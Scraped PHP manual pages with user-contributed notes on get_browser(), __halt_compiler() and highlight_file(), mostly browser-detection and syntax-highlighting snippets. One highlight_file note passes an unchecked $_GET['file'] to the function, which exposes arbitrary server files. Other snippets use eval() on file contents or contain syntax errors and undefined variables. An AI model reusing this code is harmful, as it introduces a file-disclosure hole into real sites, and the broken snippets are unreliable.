    [parent] => Firefox 3.5
    [platform] => Linux
    [browser] => Firefox
    [version] => 3.5
    [majorver] => 3
    [minorver] => 5
    [frames] => 1
    [iframes] => 1
    [tables] => 1
    [cookies] => 1
    [javaapplets] => 1
    [javascript] => 1
    [cssversion] => 3
    [supportscss] => 1
    [alpha] =>
    [beta] =>
    [win16] =>
    [win32] =>
    [win64] =>
    [backgroundsounds] =>
    [cdf] =>
    [vbscript] =>
    [activexcontrols] =>
    [isbanned] =>
    [ismobiledevice] =>
    [issyndicationreader] =>
    [crawler] =>
    [aol] =>
    [aolversion] => 0
}
robert at broofa dot com 18-Jul-2009 01:33
If you're just finding this API, note that you may want to use a lighter-weight
browser detection script.  get_browser() requires the "browscap.ini" file,
which is 300KB+.  Loading and processing this file will likely impact script
performance.  Although it surely provides excellent detection results, in most
cases a much simpler method can be just as effective.  This is why so many
previous commenters have provided alternate implementations.

Here's the solution I ended up using, which I've tested on the agents listed at
http://whatsmyuseragent.com/CommonUserAgents.asp It has the advantage of being
compact and reasonably easy to extend (just add entries to the $known array
defined at the top).  It should be fairly performant as well, since it doesn't
do any iteratoin or recursion.

<?php
function browser_info($agent=null) {
  // Declare known browsers to look for
  $known = array('msie', 'firefox', 'safari', 'webkit', 'opera', 'netscape',
    'konqueror', 'gecko');

  // Clean up agent and build regex that matches phrases for known browsers
  // (e.g. "Firefox/2.0" or "MSIE 6.0" (This only matches the major and minor
  // version numbers.  E.g. "2.0.0.6" is parsed as simply "2.0"
  $agent = strtolower($agent ? $agent : $_SERVER['HTTP_USER_AGENT']);
  $pattern = '#(?<browser>' . join('|', $known) .
    ')[/ ]+(?<version>[0-9]+(?:\.[0-9]+)?)#';

  // Find all phrases (or return empty array if none found)
  if (!preg_match_all($pattern, $agent, $matches)) return array();

  // Since some UAs have more than one phrase (e.g Firefox has a Gecko phrase,
  // Opera 7,8 have a MSIE phrase), use the last one found (the right-most one
  // in the UA).  That's usually the most correct.
  $i = count($matches['browser'])-1;
  return array($matches['browser'][$i] => $matches['version'][$i]);
}
?>
This returns an array with the detected browser as the key, and the version as
the value, and also sets 'browser' and 'version' keys.  For example on Firefox
3.5:
<?php
$ua = browser_info();
print_r($ua);
/* Yields ...
Array
(
    [firefox] => 3.5
    [browser] => firefox
    [version] => 3.5
)
*/

// Various browser tests you can do with the returned array ...
if ($ua['firefox']) ... // true
if ($ua['firefox'] > 3) ... // true
if ($ua['firefox'] > 4) ... // false
if ($ua['browser'] == 'firefox') ... // true
if ($ua['version'] > 3.5) ... // true
if ($ua['msie']) ... // false ('msie' key not defined)
if ($ua['opera'] > 3) ... // false ('opera' key not defined)
if ($ua['safari'] < 3) ... // false also ('safari' key not defined)
?>
Steve Perkins 21-Jun-2009 04:11
This is a simple class to detect the client browser and version using regular expressions.

<?PHP
class Browser
{
    private $props    = array("Version" => "0.0.0",
                                "Name" => "unknown",
                                "Agent" => "unknown") ;

    public function __Construct()
    {
        $browsers = array("firefox", "msie", "opera", "chrome", "safari",
                            "mozilla", "seamonkey",    "konqueror", "netscape",
                            "gecko", "navigator", "mosaic", "lynx", "amaya",
                            "omniweb", "avant", "camino", "flock", "aol");

        $this->Agent = strtolower($_SERVER['HTTP_USER_AGENT']);
        foreach($browsers as $browser)
        {
            if (preg_match("#($browser)[/ ]?([0-9.]*)#", $this->Agent, $match))
            {
                $this->Name = $match[1] ;
                $this->Version = $match[2] ;
                break ;
            }
        }
    }

    public function __Get($name)
    {
        if (!array_key_exists($name, $this->props))
        {
            die "No such property or function $name)" ;
        }
        return $this->props[$name] ;
    }

    public function __Set($name, $val)
    {
        if (!array_key_exists($name, $this->props))
        {
            SimpleError("No such property or function.", "Failed to set $name", $this->props) ;
            die ;
        }
        $this->props[$name] = $val ;
    }

}

?>

example code
<?PHP
$browser = new Browser ;
echo "$Browser->Name $Browser->Version" ;
?>
result when client using Firefox 3.0.11
firefox 3.0.11

result when client using unknown browser
unknown 0.0.0

etc etc
Steve Perkins 21-Jun-2009 09:42
This is a simple class to detect the client browser and version using regular expressions.

<?PHP
class Browser extends BaseObjects_PropertyArray
{
    private $props    = array("Version" => "0.0.0",
                                "Name" => "unknown",
                                "Agent" => "unknown",
                                "AllowsHeaderRedirect" => true) ;

    public function __Construct()
    {
        $browsers = array("firefox", "msie", "opera", "chrome", "safari",
                            "mozilla", "seamonkey",    "konqueror", "netscape",
                            "gecko", "navigator", "mosaic", "lynx", "amaya",
                            "omniweb", "avant", "camino", "flock", "aol");

        $this->Agent = strtolower($_SERVER['HTTP_USER_AGENT']);
        foreach($browsers as $browser)
        {
            if (preg_match("#($browser)[/ ]?([0-9.]*)#", $this->Agent, $match))
            {
                $this->Name = $match[1] ;
                $this->Version = $match[2] ;
                break ;
            }
        }
        $this->AllowsHeaderRedirect = !($this->Name == "msie" && $this->Version < 7) ;
    }

    public function __Get($name)
    {
        if (!array_key_exists($name, $this->props))
        {
            die "No such property or function $name)" ;
        }
        return $this->props[$name] ;
    }

}

?>

example code
<?PHP
$browser = new Browser ;
echo "$Browser->Name $Browser->Version" ;
?>
result when client using Firefox 3.0.11
firefox 3.0.11

result when client using unknown browser
unknown 0.0.0

etc etc
Mattkun Koder 28-Apr-2009 07:00
If you want to use: ceo /a/ mmg5 /./ com 's improved version and STILL detect Google Chrome you need to move CHROME earlier on the list Before Safari otherwise it will be detected as safari.

    $browser_list = 'msie firefox chrome konqueror safari netscape navigator opera mosaic lynx amaya omniweb avant camino flock seamonkey aol mozilla gecko';
Daniel Frechette 16-Feb-2009 04:40
A newer version for those only interested in identifying A-grade browsers. The code was ported in part from JQuery 1.3.1.

<?php
class Browser {
    /**
        Figure out what browser is used, its version and the platform it is
        running on.

        The following code was ported in part from JQuery v1.3.1
    */
    public static function detect() {
        $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);

        // Identify the browser. Check Opera and Safari first in case of spoof. Let Google Chrome be identified as Safari.
        if (preg_match('/opera/', $userAgent)) {
            $name = 'opera';
        }
        elseif (preg_match('/webkit/', $userAgent)) {
            $name = 'safari';
        }
        elseif (preg_match('/msie/', $userAgent)) {
            $name = 'msie';
        }
        elseif (preg_match('/mozilla/', $userAgent) && !preg_match('/compatible/', $userAgent)) {
            $name = 'mozilla';
        }
        else {
            $name = 'unrecognized';
        }

        // What version?
        if (preg_match('/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/', $userAgent, $matches)) {
            $version = $matches[1];
        }
        else {
            $version = 'unknown';
        }

        // Running on what platform?
        if (preg_match('/linux/', $userAgent)) {
            $platform = 'linux';
        }
        elseif (preg_match('/macintosh|mac os x/', $userAgent)) {
            $platform = 'mac';
        }
        elseif (preg_match('/windows|win32/', $userAgent)) {
            $platform = 'windows';
        }
        else {
            $platform = 'unrecognized';
        }

        return array(
            'name'      => $name,
            'version'   => $version,
            'platform'  => $platform,
            'userAgent' => $userAgent
        );
    }
}

Usage:
$browser = TkBrowser::detect();
echo 'You browser is '.$browser['name'].' version '.$browser['version'].' running on '.$browser['platform'];
?>

Best regards,

Daniel
assadvirgo at gmail dot com 13-Feb-2009 04:40
This is a very useful function to get user browser. A great utility function for those are fed up of get_browser() issues :)

<?php
function get_user_browser()
{
    $u_agent = $_SERVER['HTTP_USER_AGENT'];
    $ub = '';
    if(preg_match('/MSIE/i',$u_agent))
    {
        $ub = "ie";
    }
    elseif(preg_match('/Firefox/i',$u_agent))
    {
        $ub = "firefox";
    }
    elseif(preg_match('/Safari/i',$u_agent))
    {
        $ub = "safari";
    }
    elseif(preg_match('/Chrome/i',$u_agent))
    {
        $ub = "chrome";
    }
    elseif(preg_match('/Flock/i',$u_agent))
    {
        $ub = "flock";
    }
    elseif(preg_match('/Opera/i',$u_agent))
    {
        $ub = "opera";
    }

    return $ub;
}
?>
jesdisciple [at] gmail -dawt- com 19-Nov-2007 08:13
Use this to ensure that the costly call in its standard form never needs to be repeated:
<?php
function getBrowser(){
    static $browser;//No accident can arise from depending on an unset variable.
    if(!isset($browser)){
        $browser = get_browser($_SERVER['HTTP_USER_AGENT']);
    }
    return $browser;
}
?>
Steffen 19-Oct-2007 03:59
Keep in mind that get_browser(); really slows down your application.  It takes about 22 ms to execute on an idle server with Ubuntu Linux, Apache 2, PHP 5.1.3.
digibrisk at gmail dot NOSPAM dot SPAMNO dot com 06-Oct-2007 05:20
If the "browscap" directive isn't set in your server's php.ini, then an error warning is shown. Just in case, you could make a call to ini_get() to check if the browscap directive is set before using browser_get().

<?php
if(ini_get("browscap")) {
    $browser = get_browse(null, true);
}
?>
mike at mike-griffiths dot co dot uk 23-Jul-2007 02:41
You should not rely on just this for cross-browser compatibility issues.  Good practice would be to include HTML if-statements for IE stylesheets as well as dynamically checking the browser type.
ansar dot ahmed at impelsys dot com 22-Mar-2007 02:01
We are using get_browser() function for useragent Mozilla/4.0 (compatible; MSIE 4.01; Windows NT) the get_browser function is returning as Default Browser and Platform = unknown.

So i added this to my browscap.ini manually:

[Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)]
Parent=IE 4.01
Platform=WinNT
sam 22-Oct-2006 03:09
I thought this function might be useful to those without access to the php.ini file (such as those on a shared hosting system):

<?php
function php_get_browser($agent = NULL){
$agent=$agent?$agent:$_SERVER['HTTP_USER_AGENT'];
$yu=array();
$q_s=array("#\.#","#\*#","#\?#");
$q_r=array("\.",".*",".?");
$brows=parse_ini_file("php_browscap.ini",true);
foreach($brows as $k=>$t){
  if(fnmatch($k,$agent)){
  $yu['browser_name_pattern']=$k;
  $pat=preg_replace($q_s,$q_r,$k);
  $yu['browser_name_regex']=strtolower("^$pat$");
    foreach($brows as $g=>$r){
      if($t['Parent']==$g){
        foreach($brows as $a=>$b){
          if($r['Parent']==$a){
            $yu=array_merge($yu,$b,$r,$t);
            foreach($yu as $d=>$z){
              $l=strtolower($d);
              $hu[$l]=$z;
            }
          }
        }
      }
    }
    break;
  }
}
return $hu;
}
?>

define the location of php_browscap.ini wherever you want
always returns an array, same functionality as get_browser(NULL,true)
Hope someone finds it useful!
adspeed.com 02-Sep-2005 10:06
Here is what we do to fix the parsing error messages for php_browscap.ini downloaded from Gary's website.

<?php
// fix the browsecap.ini for php
$v= file_get_contents('php_browscap.ini');
$v= preg_replace("/\r/","",$v);
$v= preg_replace('/="(.*)"/i','=\\1',$v);
$v= preg_replace("/platform=(.*)/i","platform=\"\\1\"",$v);
$v= preg_replace("/parent=(.*)/i","parent=\"\\1\"",$v);
$v= preg_replace("/minorver=(.*)/i","minorver=\"\\1\"",$v);
$v= preg_replace("/majorver=(.*)/i","majorver=\"\\1\"",$v);
$v= preg_replace("/version=(.*)/i","version=\"\\1\"",$v);
$v= preg_replace("/browser=(.*)/i","browser=\"\\1\"",$v);
$v= str_replace("[*]","*",$v);
file_put_contents('browscap.ini',$v);
?>
max at phpexpert dot de 26-Mar-2004 07:14
Be aware of the fact that this function shows what a specific browser might be able to show, but NOT what the user has turned on/off.

So maybe this function tells you that the browser is abel to to javascript even when javascript is turned off by the user.
bishop 05-Aug-2003 11:46
PHP is sensitive to characters outside the range [ A-Za-z0-9_] as values in .ini files.  For example

browser=Opera (Bork Version)

causes PHP to complain, as it doesn't like the parentheses.

If you place quotation marks around the values for all keys in the browscap.ini file, you'll save yourself parsing problems.  Do this in eg vi with %s/=\(.*\)/="\1"/g

You could of course use PHP itself to fixup the file.  Exercise left to the reader.
verx at implix dot com 09-Dec-2002 02:57
Please keep in mind that you should somehow (for example in session) cache the required results of get_browser() because it really slows thinks down.

We have experienced that without querying for browser data our scripts would run 120-130% faster. the explanation is that over 200kb long file (browscap.ini) has to be loaded and parsed everytime someone access any page (we need browser results on all pages).

So keep results in session and expect a performance boost.
les at hazlewood dot com 03-Sep-2001 06:57
phpSniff (noted in a few places above) is absolutely fantastic.  I just installed it, and it is a godsend!  It now handles all of my session information needed to go in my database.  Thanks for you folks who posted that great Sourceforge resource!  http://phpsniff.sourceforge.net/
nick at category4 dot com 12-Jun-2001 04:21
Here's a quick way to test for a Netscape browser.  IE and Konqueror and several others call themselves "Mozilla", but they always qualify it with the word "compatible."

$isns = stristr($HTTP_USER_AGENT, "Mozilla") && (!(stristr($HTTP_USER_AGENT, "compatible")));
triad at df dot lth dot se 30-Jul-2000 04:17
The only way browscap examines the target browser is through the HTTP_USER_AGENT so there is no way you can determine installed plug-ins. The only way to do that is through client-side JavaScripts.
exit
__halt_compiler
Misc. Functions


Halts the compiler execution

get_browser
highlight_file
Misc. Functions
PHP Manual

__halt_compiler

(PHP 5 >= 5.1.0)

__halt_compiler — Halts the compiler execution

Description

void __halt_compiler ( void )

Halts the execution of the compiler. This can be useful to embed data in PHP scripts, like the installation files.

Byte position of the data start can be determined by the __COMPILER_HALT_OFFSET__ constant which is defined only if there is a __halt_compiler() presented in the file.

Return Values

No value is returned.

Examples

Example #1 A __halt_compiler() example

<?php

// open this file
$fp = fopen(__FILE__, 'r');

// seek file pointer to data
fseek($fp, __COMPILER_HALT_OFFSET__);

// and output it
var_dump(stream_get_contents($fp));

// the end of the script execution
__halt_compiler(); the installation data (eg. tar, gz, PHP, etc.)

Notes

Note:

__halt_compiler() can only be used from the outermost scope.

User Contributed Notes

glitch dot mr at gmail dot com 30-Sep-2011 10:33
It looks like when you're using "php" without arguments (CGI mode) when PHP will see __halt_compiler(); it will instantly end getting data (like when having line with just EOF character (CTRL+D)) and will try to interpret data. So following code when inserted to "php" will make "Hello, world!" appear just after __halt_compiler(); without even asking for stuff after it.

<?php
echo "Hello, world!";
__halt_compiler();
// at this point, PHP interprets stuff with waiting for rest
?>
mael d0t nison 47 epitech d0t net 17-Nov-2010 07:06
It's possible to use __halt_compiler() with included files.
Only the current file will be affected, so it could be a good way to make plugins which embed a controller and its view in the same file (like Ultimater at gmail dot com did).

Base.php
<?php
  echo "Base 1\n";
  require 'Included.php';
  echo "Base2 \n";
?>

Included.php
<?php
  echo "Included 1\n";
  __halt_compiler();
  echo "Included 2\n";
?>

Calling Base.php will display:
Base 1
Included 1
Base 2
ravenswd at gmail dot com 29-Jun-2010 06:16
__halt_compiler is also useful for debugging. If you need to temporarily make a change that will introduce an error later on, use __halt_compiler to prevent syntax errors. For example:

<?php
if ( $something ):
  print 'something';
endif;   // endif placed here for debugging purposes
__halt_compiler();
endif;   // original location of endif -- would produce syntax error if __halt_compiler was not there
?>
Ultimater at gmail dot com 14-May-2009 06:36
Another possible usage, in addition to binary data and installers,
is using it to separate model, view and controller logic from one another:

<?php
class viewhelper{function render(){
eval(file_get_contents(__FILE__,null,null,__COMPILER_HALT_OFFSET__));
}}

//database logic goes here
$row=array(
'loggedin'=>true,
'modcp'=>true,
'admincp'=>false,
'username'=>'Ultimater',
'userid'=>1234
);
//database logic goes here

//controller logic goes here
$view=new viewhelper;
$view->title="Test -> Ultimater's MVC example";
$view->base="http://".$_SERVER['HTTP_HOST'];
$view->username=$row['username'];
$view->userid=$row['userid'];
$view->authbar->loggedin=$row['loggedin'];
$view->authbar->modcp=$row['modcp'];
$view->authbar->admincp=$row['admincp'];
$view->render();
//controller logic goes here

__halt_compiler();?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?=htmlentities($this->title)?></title>
<style type="text/css">
a{color:#3333ff;text-decoration:none;}
a:hover{color:#0380fc;}
</style>
</head>
<body>
<?php
if($this->authbar->loggedin){
?>
<table><tr>
<td>Hello <a href="<?=$this->base?>/showuser.php?id=<?=$this->userid?>
"><?=htmlentities($this->username)?></a></td><td>[</td>
<td><a href="<?=$this->base?>/logout.php">Log Out</a></td>
<th><a href="<?=$this->base?>/usercp.php">UserCP</a></th>
<? if($this->authbar->modcp){ ?>
<td>&middot;</td><th><a href="<?=$this->base?>/modcp.php">ModCP</a></th>
<? } ?>
<? if($this->authbar->admincp){ ?>
<td>&middot;</td><th><a href="<?=$this->base?>/admincp.php">AdminCP</a></th>
<? } ?>
<td>]</td>
</tr></table>
<?php
}else{
?>
<table><tr><td>Hello Guest</td><td>[</td>
<td><a href="<?=$this->base?>/login.php">Log In</a></td>
<th><a href="<?=$this->base?>/register.php">Register</a></th>
<td>]</td></tr></table>
<? } ?>
</body>
</html>
gn_shallyNOSPAM at yahoo dot com 03-Jun-2008 07:56
actually, __halt_compiler did something, even in eval function, that things is set the constant __COMPILER_HALT_OFFSET__ to the right value

as all of you might know, PHP will change content of some magic constant like __FUNCTION__, __CLASS__, etc based on the situation. so do the __COMPILER_HALT_OFFSET__ constant, is a file specific constant, just like the __FILE__ constant, the content will be changed based on wich file the __halt_compiler() reside.

try this:

/**** whatever.php ****/
<?php
eval('echo __FILE__."(".__COMPILER_HALT_OFFSET__.")\n"; __halt_compiler();');
echo __FILE__."(".__COMPILER_HALT_OFFSET__.")\n"; __halt_compiler();

if (!isset($whatever))
{
  $whatever = 'whatever';
  include __FILE__;
}
__halt_compiler();whatever
zsh 12-Oct-2007 04:11
__halt_compiler() is a language construct and therefore cannot be used as a variable function.

Also, it cannot be used in eval() -- it won't throw a syntax error, but it won't do anything either.
get_browser
highlight_file
Misc. Functions


Syntax highlighting of a file

__halt_compiler
highlight_string
Misc. Functions
PHP Manual

highlight_file

(PHP 4, PHP 5)

highlight_file — Syntax highlighting of a file

Description

mixed highlight_file ( string $filename [, bool $return = false ] )

Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.

Many servers are configured to automatically highlight files with a phps extension. For example, example.phps when viewed will show the syntax highlighted source of the file. To enable this, add this line to the httpd.conf:

AddType application/x-httpd-php-source .phps

Parameters

filename

Path to the PHP file to be highlighted.

return

Set this parameter to TRUE to make this function return the highlighted code.

Return Values

If return is set to TRUE, returns the highlighted code as a string instead of printing it out. Otherwise, it will return TRUE on success, FALSE on failure.

Changelog

Version | Description
4.2.1 | This function is now also affected by safe_mode and open_basedir.
4.2.0 | The return parameter was added.

Notes

Caution

Care should be taken when using the highlight_file() function to make sure that you do not inadvertently reveal sensitive information such as passwords or any other type of information that might create a potential security risk.

Note:

When the return parameter is used, this function uses internal output buffering so it can not be used inside an ob_start() callback function.

See Also

  • highlight_string() - Syntax highlighting of a string

User Contributed Notes

design at joelalejandro dot com dot ar 31-Aug-2009 04:52
Just my two cents - a function that takes PHP source code from a file and decodes it to text/plain MIME-type.

Cheers,
Joel A. Villarreal Bertoldi

<?php
function phps2array($fileName)
{
    return explode("\r", html_entity_decode(strip_tags(highlight_file($fileName, true))));
}
?>

Example:
####################################

samplefile.php:
<?php
$a = 1;

/* This is my file*/
echo $a;
?>

parser.php:
<?php
header("Content-Type: text/plain");
print_r(parse_php_file("samplefile.php"));
?>

####################################
Results:
####################################

Array
(
    [0] => <?php
    [1] => $a = 1;
    [2] =>
    [3] => /* This is my file*/
    [4] => echo $a;
    [5] => ?>
)

####################################
Miki Roro 31-Aug-2009 08:39
highlight_file() wraps HTML tags around PHP constructions,
so it's not useful for CLI. If you want to have highlighted source
in command line, use this script:

<?php
$php = $argv[1]; // set a path
if(!$php)
  $php = $argv[0];

$c_string = ini_get('highligth.string'); // get ini values
$c_comment = ini_get('highlight.comment');
$c_keyword = ini_get('highlight.keyword');
$c_default = ini_get('highlight.default');
$c_html = ini_get('highlight.html');

$source = highlight_file($php, true); // load highlighted source

$source = str_replace('</span>', '[0m', $source); // replace html tags
$source = str_replace('<span style="color: #DD0000">', '[32m', $source);
$source = str_replace('<span style="color: '.$c_comment.'">', '[37m', $source);
$source = str_replace('<span style="color: '.$c_keyword.'">', '[34m', $source);
$source = str_replace('<span style="color: '.$c_default.'">', '[31m', $source);
$source = str_replace('<span style="color: '.$c_html.'">', '[30m', $source);

$source = str_replace('<code>', '', $source); // strip <code> and <br>
$source = str_replace('</code>', '', $source);
$source = str_replace('<br />', "\n", $source);
$source = str_replace('&nbsp;', ' ', $source); // remove &nbsp and entities
$source = html_entity_decode($source);

echo $source;
?>

Then type `php highlight.php some_other_script.php` to have
colorful source in terminal window. Tested under Ubuntu.
dynamicflurry [at] gmail dot com 04-Aug-2009 07:33
Here's a great function I found to add numbers to your highlighted code:

<?php
function highlight_num($file)
{
  $lines = implode(range(1, count(file($file))), '<br />');
  $content = highlight_file($file, true);

  echo '
    <style type="text/css">
        .num {
        float: left;
        color: gray;
        font-size: 13px;
        font-family: monospace;
        text-align: right;
        margin-right: 6pt;
        padding-right: 6pt;
        border-right: 1px solid gray;}

        body {margin: 0px; margin-left: 5px;}
        td {vertical-align: top;}
        code {white-space: nowrap;}
    </style>';

    echo "<table><tr><td class=\"num\">\n$lines\n</td><td>\n$content\n</td></tr></table>";
}
highlight_num(__FILE__);
?>
afugit at imavex dot com 24-Jul-2009 08:42
This function will not only echo out the code but will add line numbers.  The extra code is for the multi-line and single-line comments using /* and */ and making sure they are highlighted appropriately.  If not used, the multi-line comments will not be displayed in orange (or the default comment color).

Anthony

=============

<?php
   function renderFile($filename) {
        if(file_exists($filename) && is_file($filename)) {
            $code = highlight_file($filename, true);
            $counter = 1;
            $arr = explode('<br />', $code);
            echo '<table border="0" cellpadding="0" cellspacing="0" width="100%" style="font-family: monospace;">' . "\r\n";
            foreach($arr as $line) {
                echo '<tr>' . "\r\n";
                    echo '<td width="65px" nowrap style="color: #666;">' . $counter . ':</td>' . "\r\n";

                    // fix multi-line comment bug
                    if((strstr($line, '<span style="color: #FF8000">/*') !== false) && (strstr($line, '*/') !== false)) { // single line comment using /* */
                        $comments = false;
                        $startcolor = "orange";
                    }
                    elseif(strstr($line, '<span style="color: #FF8000">/*') !== false) { // multi line comment using /* */
                        $startcolor = "orange";
                        $comments = true;
                    }
                    else { // no comment marks found
                        $startcolor = "green";
                        if($comments) { // continuation of multi line comment
                            if(strstr($line, '*/') !== false) {
                                $comments = false;
                                $startcolor = "orange";
                            }
                            else {
                                $comments = true;
                            }
                        }
                        else { // normal line
                            $comments = false;
                            $startcolor = "green";
                        }
                    }
                    // end fix multi-line comment bug

                    if($comments)
                        echo '<td width="100%" nowrap style="color: orange;">' . $line . '</td>' . "\r\n";
                    else
                        echo '<td width="100%" nowrap style="color: ' . $startcolor . ';">' . $line . '</td>' . "\r\n";

                    echo '</tr>' . "\r\n";
                    $counter++;
            }
            echo '</table>' . "\r\n";
        }
        else {
            echo "<p>The file <i>$filename</i> could not be opened.</p>\r\n";
            return;
        }
    }
?>
nospam at mbeulens dot nl 12-Jul-2009 12:00
This is my try on linenumbers
<?php
    public static function highlight_file_with_line_numbers($file) {
          //Strip code and first span
        $code = substr(highlight_file($file, true), 36, -15);
        //Split lines
        $lines = explode('<br />', $code);
        //Count
        $lineCount = count($lines);
        //Calc pad length
        $padLength = strlen($lineCount);

        //Re-Print the code and span again
        echo "<code><span style=\"color: #000000\">";

        //Loop lines
        foreach($lines as $i => $line) {
            //Create line number
            $lineNumber = str_pad($i + 1,  $padLength, '0', STR_PAD_LEFT);
            //Print line
            echo sprintf('<br><span style="color: #999999">%s | </span>%s', $lineNumber, $line);
        }

        //Close span
        echo "</span></code>";
    }

?>
Anonymous 11-Apr-2009 03:02
I get linenumbers this way... cause I don't like tables :p

<?php

function highlight_linenumbers ($page)
{

    // remove <code> and global <span>
    $code = highlight_file($page, true) ,36,-15);

    echo '<ol style="font-family:monospace; color:', ini_get('highlight.{default}') , ';">';

    $arr = explode('<br />', $code);
    foreach( $arr as $line )
    {
        // removing newline
        $line = substr($line, 0, -1);

        //empty lines
        if( preg_match('`^(&nbsp;)*$`',$line) ) $line = '&nbsp;';

        // add colour from the previous line
        if( !empty($last_colour) ) $s = '<span style="color:'.$last_colour .'">'. $s;

        // Supposing we open more spans on a line than closing... let's do this properly
        // We have at most one currently opened span
        if( substr_count($line, '<span') - substr_count($line, '</span') > 0 )
        {
                $line .= '</span>';

                // Grab colour to report it on next line
                $last_colour = explode('<span ',$line);
                $last_colour = $last_colour[count($last_colour)-1];

                $last_colour = substr($last_colour,strpos($last_colour,'#'),7);

                else $last_colour = NULL;

                echo '<li>',$line,"</li>\r";
        }

        echo '</ol>';
}

?>
SneakyWho_am_i 10-Sep-2008 04:00
From W on 20 August 2008:
YES! I do it too, on many of my things! I love to be able to share my code (when I have the right to do it) with friends who aren't working on the project.

<?php

if (isset($_GET['code'])) { die(highlight_file(__FILE__, 1)); }

?>

I like to do it like this. The benefit is minimal but personally for such a small thing I would like to keep it down to one line. Maybe there is a shorter way, I don't know.. But the magic constant __FILE__ saves the day!

To access this one would be http://example.com/path/to/script.php?code
the parameter just has to be set (? or &) and you don't need the equals sign.
This way I don't generate any errors in E_ALL (because I'm likely in development), and I don't have to remember if the value was supposed to be "true" or "1" or "abacus" or whatever (I mean you're never going to specifically ask to NOT show the code, right?)

Anyway I've gone on long enough. It's nice to not be the only one who does this :D
W 20-Aug-2008 02:43
Normally I add highlighting for files like so:

In every file that should be higlighted:
<?php
$tool_file=$_SERVER['SCRIPT_FILENAME']; $tool_file=basename($tool_file);
include_once('highlight.inc.php');
showCode();
?>

And in highlight.inc.php (or your init file):
<?php
function showCode() {
if ($_REQUEST['codeShow'] == 1) {
        highlight_file($codeName);
        exit ();
    }
}
?>

When a user will open the sourcecode (or you'll link to it) he just adds ?codeShow=1 to the filename.
mmcloughlin at gmail dot com 09-May-2008 06:06
You can trick this function to apply additional css rules to parts of the source code.

For example, if you wanted comments to appear in bold you could do the following

<?php
ini_set('highlight.comment', '#CCCCCC; font-weight: bold;');
highlight_file('file.php');
?>

This works because when highlight_file() writes out a comment it wraps it in <span style="color: {contents of hightlight.comment ini variable}">...</span>. Therefore as long as your ini value for highlight.comment starts with a color, you can put in whatever style declarations you like.

This applies to all of the other relavent ini values: highlight.default, highlight.html, highlight.keyword, highlight.string.
comperr dot extra at gmail dot com 18-Apr-2008 11:20
Here is what I use
<?php

    /* array() ensures that ok[] cannot have paths inserted if register globals is enabled */

    $ok = array(
        'f1.php',
        'f2.php'
    );

    if (!in_array($_GET['f'], $ok))
    {
        die ('Not allowed to view this page');
    }
    else
    {
        highlight_file($_GET['f']);
    }?>
moisadoru at gmail dot com 17-Oct-2007 05:24
A function which parses the output of highlight file and replaces &lt;span&gt; wits &lt;a&gt;, replaces the style="color: #XXXXXX" part with class="cX", storing the colors in some css rules; that way you get a smaller output size (ratio is about about 1.2 ~ 1.4):
<code>
<?php
function highlight_file2($fl,$ret){
    if(!isset($ret)) $ret = false;
    $str = highlight_file($fl,true);
    preg_match_all("/\<span style=\"color: #([\d|A|B|C|D|E|F]{6})\"\>.*?\<\/span\>/",$str,$mtch);
    $m = array_unique($mtch[1]);

    $cls = '<style type="text/css">'."\n";
    $rpl = array("</a>");
    $mtc = array("</span>");
    $i = 0;
    foreach($m as $clr) {
        $cls .= "a.c".$i."{color: #".$clr.";}\n";
        $rpl[] = "<a class=\"c".$i++."\">";
        $mtc[] = "<span style=\"color: #".$clr."\">";
    }
    $cls .= "</style>";
    $str2 = str_replace($mtc,$rpl,$str);
    if($ret) return $str2;
    else echo $str2;
}
?>
</code>
thinbegin at unmannedship dot com 18-Aug-2007 10:45
i much prefer to use the .phps extension for showing highlighted source. all you have to do is type "cp example.php example.phps" at the command line.

on the flip side, for easy dynamic source sharing, it's as simple as:

<?php
if (!isset($_GET['file']) || trim($_GET['file']) == '') {
    echo 'please pass me something yummy';
    die(0);
}

if (!file_exists($_GET['file'])) {
    echo "<b>{$_GET['file']}</b> does not seem to exist :(";
    die(0);
}

highlight_file($_GET['file']);
?>
management at twilightus dot net 20-Mar-2007 06:18
Here's a better take at highlighting a file with line numbers:

<style type="text/css">
.num {
float: left;
color: gray;
text-align: right;
margin-right: 6pt;
padding-right: 6pt;
border-right: 1px solid gray;}
</style>
<?php
function highlight_num($file)
{
  echo '<code class="num">', implode(range(1, count(file($file))), '<br />'), '</code>';
  highlight_file($file);
}

highlight_num('file.php');
?>

Thanks for the implode() part from Arevos at programmingforums.org
jens dot grasnick at gmail dot com 06-Oct-2006 06:38
Hi there, i build a "little" class to controll the highlighting functions (highlight_source & highlight_file) of PHP a little bit more. You can:

- set the highlighting colors without rewrite your php.ini
-create a whitelist using by highlightFile - so your're surly that nobody take a look on your private source ;-)
- work with the highlighted content - it returns the highlighted content, not show it like highlight_file or highlight_source did.

Class:

<?php

class betterHighlighting {
  /* user colors */
  private $userColors = array(
      "string"  => "",
      "comment" => "",
      "keyword" => "",
      "bg"      => "",
      "default" => "",
      "html"    => "",
  );

  /* array of allowed file for using by ::highlightFile() */
  private $whitelist = array();

  /* construct */
  function __construct($allowedFiles = NULL, /* array or NULL */
                       $newColors    = NULL  /* array or NULL */) {

    /* add (if some given) files to the highlighting whitelist */
    if($allowedFiles) {
      $this -> addFiles($allowedFiles);
    }

    /* set highlighting colors */
    if($newColors) {
      $this -> setColors($newColors);
    }
  }

  /* for adding files to the whitelist */
  public function addFiles($allowedFiles /* array or string */) {
    $file = is_array($allowedFiles) ? array_pop($allowedFiles) : $allowedFiles;

    if(file_exists($file)) {
      $this -> whitelist[] = $file;
    } else

    if(is_array($allowedFiles) && sizeof($allowedFiles)) {
      $this -> addFiles($allowedFiles);
    }

    return void;
  }

  /* for setting new userColors */
  public function setColors($newColors = array()) {
    foreach($newColors as $key => $color) {
      if(in_array($key, array_keys($this -> userColors))) {
        $this -> userColors[$key] = $color;
      }
    }
  }

  /* replaces default colors with users colors */
  private function putColors($highlightedContent) {
    $nHC = $highlightedContent;
    $hTpl = "<span style=\"color: %s\">";

    foreach($this -> userColors as $key => $color) {
      if(!empty($color)) {
        $nHC = str_replace(sprintf($hTpl, ini_get("highlight.{$key}")), sprintf($hTpl, $color), $nHC);
      }
    }

    return $nHC;
